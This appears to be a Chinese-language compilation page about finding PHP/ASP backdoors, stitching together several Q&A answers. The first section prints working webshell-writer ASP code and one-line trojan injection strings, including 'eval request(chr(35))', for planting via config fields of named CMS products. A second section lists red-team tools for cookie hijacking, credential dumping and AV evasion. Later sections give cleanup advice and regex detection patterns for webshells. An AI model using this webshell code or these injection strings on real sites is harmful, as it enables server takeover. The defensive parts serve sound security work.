php後門掃描工具,在線掃描查找php後門

本文目錄一覽：

• 1、webshell怎麼寫出來的
• 2、紅隊最喜歡的18 種優秀的網絡安全滲透工具
• 3、惡意代碼查殺和webshell查殺有區別嗎？
• 4、用php寫的網站可以用什麼工具來檢查它是否被掛馬被植入後門了？？？
• 5、如何查找php木馬後門高級篇

webshell怎麼寫出來的

form action=http://主機路徑/TEXT.asp method=post

textarea name=value cols=120 rows=10 width=45

set lP=server.createObject(“Adodb.Stream”)//建立流對象

lP.Open //打開

lP.Type=2 //以文本方式

lP.CharSet=”gb2312″ //字體標準

lP.writetext request(“newvalue”)

lP.SaveToFile server.mappath(“newmm.asp”),2 //將木馬內容以覆蓋文件的方式寫入newmm.asp，2就是已覆蓋的方式

lP.Close //關閉對象

set lP=nothing //釋放對象

response.redirect “newmm.asp” //轉向newmm.asp

/textarea

textarea name=newvalue cols=120 rows=10 width=45（添入生成木馬的內容）

/textarea

BR

center

input type=submit value=提交

這裡通過提交表單的方式，將木馬提交上去，具體的做法是將定義一個對象IP，然後以文本方式寫入newvalue裏面的內容（newvalue的內容在textarea定義），寫入以覆蓋的方式產生ASP文件，然後執行這個腳本。

其中客戶端中的value代表的是表單的名字，必須跟服務端（本機）的post提交中的表單名一樣，所以這裡的value可以為任意字符，相當於一個密碼之類的東西，但是這個『密碼』是明文的，可以截取下來。

擴展資料：

寫webshell的方法

利用””””：””//”等符號構造最小馬寫入程序的配置文件，joekoe論壇，某某同學錄，沸騰展望新聞系統，COCOON Counter統計程序等等，還有很多php程序都可以。

舉例，在管理郵箱處添上cnhacker@263.net”：eval request（chr （35））//，

在配製文件中就是webmail=”cnhacker@263.net\”：eval request（chr（35））//”，

還有一種方法就是寫上 cnhacker@263.net”%%eval request（chr（35））%%’，這樣就會形成前後對應，最小馬也就運行了。%eval request（chr（35））%可以用lake2的eval發送端以及最新的2006 客戶端來連，需要說明的是數據庫插馬時候要選前者。

再如動易2005，到文章中心管理-頂部菜單設置-菜單其它特效，插入一句話 馬”%%execute request（”l”）%%’，保存頂部欄目菜單參數設置成功後，我們就得到馬地址http://網站/admin/rootclass_menu_config.asp.

參考資料：

百度百科webshell

紅隊最喜歡的18 種優秀的網絡安全滲透工具

Bishop labs用了兩期博客，前後各總結了9個紅隊工具，共計18個紅隊使用的優秀滲透工具，其博客文章也提及，這份清單不是決定性的，也僅用於參考。

創建者： @IAmMandatory

用途：允許 谷歌 Chrome 瀏覽器將受害者的瀏覽器變成測試代理。

優點： CursedChrome 可以很容易地在紅隊參與期間模擬惡意瀏覽器擴展。用來劫持 Chrome 瀏覽器，繞過大多數 2FA 或其他可能存在的安全保護，並利用 cookie 來訪問任何基於網絡的目標。

創建者： @symbolcrash1

用途： Universal Loader 是一個 Golang 庫，可以跨多個平台（Linux、Windows 和 OSX）從內存中加載共享庫，而無需CGO。

優點： Universal Loader 可以用在新的 Apple M1 芯片上，值得一提的是，這個 Golang 庫沒有使用 memfd，這使它成為第一個這樣做的 Golang Linux 加載器。由於這兩個原因，Universal Loader 是一個相當令人印象深刻的紅隊工具。

創建者： QSecure Labs

用途： Overlord 是一個基於 Python 的控制台命令行界面，用於自動化紅隊基礎設施。

優點： 在紅隊參與期間能夠根據需要快速啟動安全基礎設施非常重要，該工具可以節省大量時間，然後可以將這些時間用於進行一些實際的黑客攻擊。

創作者： @LittleJoeTables和@rkervell

用途： Sliver是一個用 Golang 編寫的跨平台通用植入框架。

優點： 這個工具是兩位 Bishop Fox 研究人員的創意，所以我們的偏見可能會表現出來。類似於商業工具Cobalt Strike。使 Sliver 值得注意的是諸如使用每個二進制混淆的動態代碼生成、多個和可擴展的出口協議以及支持多個操作員同時控制植入物等功能。此外，它易於使用且運行速度快。

創作者： @tillson_

用途： 使用 Githound 來定位暴露的 API 密鑰和其他圍繞 GitHub 浮動的敏感信息。該工具通過模式匹配、提交 歷史 搜索和「獨特的結果評分系統」工作。

優點： 像 Githound 這樣的秘密竊取工具並不少見，但這並沒有使這個工具（或其他類似工具）的價值降低。Githound 的一些可能用例包括檢測暴露的客戶 API 密鑰以及員工 API 令牌。如果您進行漏洞賞金，此工具可用於添加書籤 – 有些人報告說，由於它，因此獲得了數千美元的賞金。

創作者： @browninfosecguy

用途： 這個工具的名字說明了一切，在 PowerShell 中輕鬆地為 Microsoft Active Directory 設置實驗室。

優點： 速度很快，效果很好。可以使用此工具來確保您針對 Active Directory 使用的任何漏洞利用都已完善，然後再將其引入客戶端環境。對於只想更輕鬆地測試 Active Directory 的滲透測試員來說非常有用。

創建者： Microsoft Azure 紅隊

用途： 可以使用 Stormspotter 更好地可視化 Azure 攻擊面；此工具可幫助您繪製 Azure 和 Azure Active Directory 對象。

優點： 類似滲透測試工具BloodHound概念類似，只是該工具是為 Azure 環境設計的。對於任何藍色或紫色團隊成員來說，從防禦的角度來看，Stormspotter 也非常有用。

創建者： @Void_Sec

用途： ECG 實際上是一種商業工具。該工具是靜態源代碼掃描器，能夠分析和檢測 TCL/ADP 源代碼中真實和複雜的安全漏洞。

優點： ECG是一種強大的工具，可以填補令人驚訝的空白。正如 VoidSec 在他們的官方文章中所指出的，TCL代碼相當普遍；所以能夠徹底分析漏洞可能會非常有幫助。沒有很多其他工具可以滿足這種獨特的需求，無論是商業的還是其他的。

創建者： @TryCatchHCF

用途： 可以使用 DumpsterFire 構建「時間觸發的分佈式」安全事件來測試紅隊進攻和藍隊防守。

優點： DumpsterFire 將傳統桌面練習提升到一個新的水平，它還使用自動化來在參與期間有效地進行多任務處理（並避開一些更乏味的事情）。DumpsterFire 允許的定製程度令人印象深刻；可以真正定製模擬安全事件來滿足獨一無二的情況。

10.GhostPack

創建者： SpecterOps ( @SpecterOps )

用途： 藉助強大的後開發工具集 GhostPack，可以做各種事情；可以攻擊 KeePass 2.X 數據庫、複製鎖定的文件、篡改 Active Directory 證書等。

優點： GhostPack 是一種滿足黑客需求的「一站式商店」。包含的 13 個工具包括非常有用的 Rubeus、Seatbelt 和 SharpUp。Rubeus 是一個 C# 工具集，直接與 Active Directory 環境中的 Kerberos 協議交互，允許直接與 Kerberos 屬性（例如票證和常規身份驗證）進行通信，然後可以利用這些屬性在網絡中移動。Seatbelt 是一個 C# 項目，可用於面向安全的主機「安全檢查」，而 SharpUp 是一個 C# 工具，可識別本地權限提升路徑。這些工具被無數紅隊和網絡滲透測試員使用。

創作者： Benjamin Delpy ( @gentilkiwi )

用途： Mimikatz 可以從 Windows 環境中提取密碼和其他憑據。是一種非常流行的滲透測試工具，已經存在了十多年。但 Mimikatz 會定期維護和更新，以確保仍然是最前沿的工具

優點： 將 Mimikatz 視為網絡滲透測試的瑞士軍刀。帶有幾個內置工具，對 Kerberoasting、密碼轉儲很有用，你能想到的，Mimikatz 都可以做到。而且 Mimikatz 不僅適用於那裡的進攻性安全專業人員——防禦性安全團隊也可以從中受益（如果你發現自己處於紫色團隊場景中，這也是個好兆頭）。

創建者： Metasploit 項目 ( @metasploit )，由 Rapid7 與開源社區合作運營

用途： Metasploit 可以說是世界領先的滲透測試框架，由 HD Moore 於 2003 年創建。Metasploit 包括用於滲透測試幾乎每個階段的模塊，這有助於其普及。包括約 250 個後利用模塊，可用於捕獲擊鍵、收集網絡信息、顯示操作系統環境變量等。

優點： Metasploit 後開發模塊非常龐大，有一個模塊最突出——Meterpreter 有效載荷。Meterpreter 允許 探索 目標系統並執行代碼，並且由於它通過內存 DLL 注入工作，因此不必冒險留下任何操作證據。Metasploit 後開發功能也非常通用，具有適用於 Windows、Linux 和 OS X 的模塊。

創作者： 阿德里安·沃爾默( @mr_mitm )

用途： 此後利用工具旨在繞過端點檢測和應用程序阻止列表。

優點： 可以使用 PowerHub 傳輸文件，而不會在測試環境中發出任何安全保護警報，這將使下一次滲透測試更加順暢和輕鬆。使用此工具領先於 Windows Defender。

創建者： LOLBAS 項目和亞利桑那州安全工程與研究小組

用途： LOLBAS 是一個字典，用於在 Windows 機器上使用二進制文件查找可能的權限提升路徑。LLOLBAS 是與 LOLBAS 協同工作的攝取器。攝取器會在 Windows 機器上的 LOLBAS 列表中查找所有二進制文件，因此無需猜測或對列表進行排序以查找它們（這可能很乏味）。

優點： LOLBAS 項目可搜索機器上可能的權限提升路徑，而 LLOLBAS 允許針對特定機器定製這些路徑。結合這兩個工具，（幾乎）在參與中勢不可擋。作為一個額外的好處，如果出現需要它們的情況，可以方便地使用離線工具。

創作者： @nil0x42

用途： PHPSploit 充當功能齊全的 C2 框架，通過單行 PHP 後門在 Web 服務器上靜默地持久化。

優點： PHPSploit 是非安全參與時手頭上的一項了不起的工具——高效、用戶友好且運行安靜。正如其 GitHub 描述所述，PHPSploit 是「由偏執狂，為偏執狂設計的」。

創作者： 塞瓦加斯

用途： 可以使用 swap_digger 在後期開發或取證期間自動進行 Linux 交換分析。

優點： 在 Linux 交換空間中可以找到各種各樣的好東西，從密碼和電子郵件地址到 GPG 私鑰。Swap_digger 可以梳理這些交換空間並找到高影響力的獎盃，這將使評估更加成功。

創建者： RedCode 實驗室

用途： Bashark 是一個後開發工具包，顧名思義，是用編程語言 Bash 編寫的。這是一個可以產生巨大結果的簡單腳本。

優點： Bashark 工作快速而隱蔽，允許通過創建 Bash 函數來添加新命令，並清除在目標環境中使用腳本後可能留下的任何痕迹。

創作者： AlessandroZ

用途： 使用 BeRoot 項目查找可用於在 Windows、Linux 和 OS X 環境中提升權限的常見錯誤配置。

優點： 識別常見的錯誤配置是在網絡中立足的最可靠方法之一，因此找到這些錯誤配置的速度越快越好。BeRoot 項目在這方面提供了極大的幫助。

本文，旨在介紹一些紅隊工具，供大家了解和參考研究之用，不建議任何人利用網絡技術從事非法工作，破壞他人計算機等行為。滲透有風險，入坑需謹慎。法網恢恢，疏而不漏。請正確理解滲透含義，正確利用滲透技術，做網絡安全服務的踐行者。

惡意代碼查殺和webshell查殺有區別嗎？

惡意代碼查殺與webshell查殺不同。

惡意代碼查殺指將病毒庫中貯存的所有病毒特徵的惡意代碼查殺。

而webshell查殺指將只指對webshell進行查殺。

一般的殺毒軟件應該不能對webshell進行查殺。因為殺毒軟件一般只對本地文件進行掃描，而webshell是網頁後門。只能使用專業網站維護工具查殺，如360網站衛士。我們也可以做好防範。

從根本上解決動態網頁腳本的安全問題，要做到防注入、防爆庫、防COOKIES欺騙、防跨站攻擊（xss）等等，務必配置好服務器FSO權限。最小的權限=最大的安全。防範webshell的最有效方法就是：可寫目錄不給執行權限，有執行權限的目錄不給寫權限。防範方法：

1、建議用戶通過ftp來上傳、維護網頁，盡量不安裝asp的上傳程序。

2、對asp上傳程序的調用一定要進行身份認證，並只允許信任的人使用上傳程序。

3、asp程序管理員的用戶名和密碼要有一定複雜性，不能過於簡單，還要注意定期更換。

4、到正規網站下載程序，下載後要對數據庫名稱和存放路徑進行修改，數據庫名稱要有一定複雜性。

5、要盡量保持程序是最新版本。

6、不要在網頁上加註後台管理程序登陸頁面的鏈接。

7、為防止程序有未知漏洞，可以在維護後刪除後台管理程序的登陸頁面，下次維護時再通過上傳即可。

8、要時常備份數據庫等重要文件。

9、日常要多維護，並注意空間中是否有來歷不明的asp文件。

10、盡量關閉網站搜索功能，利用外部搜索工具，以防爆出數據。

11、利用白名單上傳文件，不在白名單內的一律禁止上傳，上傳目錄權限遵循最小權限原則。

拓展資料：

webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種代碼執行環境，也可以將其稱做為一種網頁後門。黑客在入侵了一個網站後，通常會將asp或php後門文件與網站服務器WEB目錄下正常的網頁文件混在一起，然後就可以使用瀏覽器來訪問asp或者php後門，得到一個命令執行環境，以達到控制網站服務器的目的。

顧名思義，「web」的含義是顯然需要服務器開放web服務，「shell」的含義是取得對服務器某種程度上操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由於webshell其大多是以動態腳本的形式出現，也有人稱之為網站的後門工具。

用php寫的網站可以用什麼工具來檢查它是否被掛馬被植入後門了？？？

清馬

1、找掛馬的標籤，比如有script language=”javascript” src=”網馬地址”/script或iframe width=420 height=330 frameborder=0

scrolling=auto src=網馬地址/iframe，或者是你用360或病殺毒軟件攔截了網馬網址。SQL數據庫被掛馬，一般是JS掛馬。

2、找到了惡意代碼後，接下來就是清馬，如果是網頁被掛馬，可以用手動清，也可以用批量清，網頁清馬比較簡單，這裡就不詳細講，現在着重講一下SQL數據庫清馬，用這一句語句「update 表名 set 字段名=replace(字段名,’aaa’,”)」， 解釋一下這一句子的意思：把字段名里的內容包含aaa的替換成空，這樣子就可以一個表一個表的批量刪除網馬。

在你的網站程序或數據庫沒有備份情況下，可以實行以上兩步驟進行清馬，如果你的網站程序有備份的話，直接覆蓋原來的文件即可。

修補漏洞（修補網站漏洞也就是做一下網站安全。）

1、修改網站後台的用戶名和密碼及後台的默認路徑。

2、更改數據庫名,如果是ACCESS數據庫，那文件的擴展名最好不要用mdb，改成ASP的，文件名也可以多幾個特殊符號。

3、接着檢查一下網站有沒有注入漏洞或跨站漏洞，如果有的話就相當打上防注入或防跨站補丁。

4、檢查一下網站的上傳文件，常見了有欺騙上傳漏洞，就對相應的代碼進行過濾。

5、儘可能不要暴露網站的後台地址，以免被社會工程學猜解出管理用戶和密碼。

6、寫入一些防掛馬代碼，讓框架代碼等掛馬無效。

7、禁用FSO權限也是一種比較絕的方法。

8、修改網站部分文件夾的讀寫權限。

9、如果你是自己的服務器，那就不僅要對你的網站程序做一下安全了，而且要對你的服務器做一下安全也是很有必要了！

如何查找php木馬後門高級篇

可以通過一些關鍵字或者正則來進行匹配

(\$_(GET|POST|REQUEST)\[.{0,15}\]\(\$_(GET|POST|REQUEST)\[.{0,15}\]\))’,

‘(base64_decode\([\'”][\w\+/=]{200,}[\'”]\))’,

‘eval\(base64_decode\(‘,

‘(eval\(\$_(POST|GET|REQUEST)\[.{0,15}\]\))’,

‘(assert\(\$_(POST|GET|REQUEST)\[.{0,15}\]\))’,

‘(\$[\w_]{0,15}\(\$_(POST|GET|REQUEST)\[.{0,15}\]\))’,

‘(wscript\.shell)’,

‘(gethostbyname\()’,

‘(cmd\.exe)’,

‘(shell\.application)’,

‘(documents\s+and\s+settings)’,

‘(system32)’,

‘(serv-u)’,

‘(提權)’,

‘(phpspy)’,

‘(後門)’,

‘(webshell)’,

‘(Program\s+Files)’